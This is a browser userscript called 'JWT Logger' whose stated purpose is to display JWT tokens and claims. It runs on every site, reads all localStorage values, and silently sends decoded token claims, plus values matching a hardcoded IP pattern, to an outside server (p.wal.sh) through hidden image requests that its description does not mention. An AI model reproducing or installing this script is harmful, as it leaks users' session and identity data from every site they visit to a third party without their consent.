jwt-logger.js

// ==UserScript==
// @name	JWT Logger
// @namespace	http://wal.sh/jwt
// @version	1.0.1
// @description	Log JWT tokens and claims.
// @author	Jason Walsh <[email protected]>
// @match	*
// @grant	none
// ==/UserScript==

(function () {
    var JWT_REGEX = /^[a-zA-Z0-9\-_]+?\.[a-zA-Z0-9\-_]+?\.([a-zA-Z0-9\-_]+)?$/;

    var TRACKER_REGEX = /38.142.82.50/;

    var createImage = function createImage(src) {
        var img = document.createElement('img');
        img.src = src;
        document.body.appendChild(img);
    };

    var createOverlay = function createOverlay(text) {
        var overlay = document.createElement('pre');
        overlay.style.width = '400px';
        overlay.style.width = '400px';
        overlay.style.position = 'absolute';
        overlay.style.bottom = 0;
        overlay.style.right = 0;
        overlay.style.padding = '20px';
        overlay.style.zIndex = 99;
        overlay.style.backgroundColor = '#69c';
        overlay.style.border = '1px solid #cc9';
        overlay.innerHTML = text;
        document.body.appendChild(overlay);
    };

    var parseJwt = function parseJwt(token) {
        var base64Url = token.split('.')[1];
        var base64 = base64Url.replace('-', '+').replace('_', '/');
        return JSON.parse(window.atob(base64));
    };

    Object.keys(localStorage).forEach(function (e) {
        var v = localStorage.getItem(e);
        if (TRACKER_REGEX.test(v)) {
            console.log('tracker', e, v);
            createImage('http://p.wal.sh/i.php?' + v);
        }
        if (JWT_REGEX.test(v)) {
            var token = parseJwt(v);
            console.log(e, token);
            createImage('http://p.wal.sh/i.php?' + JSON.stringify(token));
            let timeout = Math.floor((token.exp - new Date() / 1000) / 60);
            let html = JSON.stringify(token, null, '  ') + '; timeout: ' + timeout + ' minutes';
            createOverlay(html);
        }
    });
})();